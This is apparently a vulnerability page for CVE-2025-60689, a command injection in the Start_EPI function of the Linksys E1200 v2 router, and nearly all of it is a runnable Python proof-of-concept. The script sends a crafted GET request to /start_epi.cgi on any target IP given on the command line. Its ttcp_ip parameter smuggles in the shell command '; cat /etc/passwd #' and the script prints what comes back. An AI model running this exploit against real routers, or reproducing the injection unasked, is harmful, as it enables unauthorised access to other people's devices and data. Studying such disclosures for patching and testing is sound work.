CVE-2025-60689 Linksys E1200 v2路由器Start_EPI函数命令注入漏洞

#!/usr/bin/env python3 """ CVE-2025-60689 PoC - Linksys E1200 v2 Command Injection This PoC demonstrates the command injection vulnerability in Start_EPI function. """ import requests import sys def exploit(target_ip, target_port=80): """ Exploit the command injection vulnerability in Linksys E1200 v2 Args: target_ip: IP address of the vulnerable router target_port: Web interface port (default: 80) """ # Base URL for the vulnerable endpoint base_url = f"http://{target_ip}:{target_port}" # Vulnerable parameters in Start_EPI function # Injecting command: cat /etc/passwd malicious_params = { 'ttcp_ip': '; cat /etc/passwd #', 'ttcp_num': '1', 'ttcp_size': '1000', 'wl_ant': '0', 'wl_ssid': 'test', 'wl_rate': '0' } try: # Send the malicious request # The vulnerable endpoint processes these parameters in Start_EPI response = requests.get(f"{base_url}/start_epi.cgi", params=malicious_params, timeout=10) print(f"[*] Request sent to {base_url}/start_epi.cgi") print(f"[*] Status code: {response.status_code}") print(f"[*] Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False return True def main(): if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print(f"[*] Exploiting CVE-2025-60689 on {target_ip}:{target_port}") exploit(target_ip, target_port) if __name__ == "__main__": main()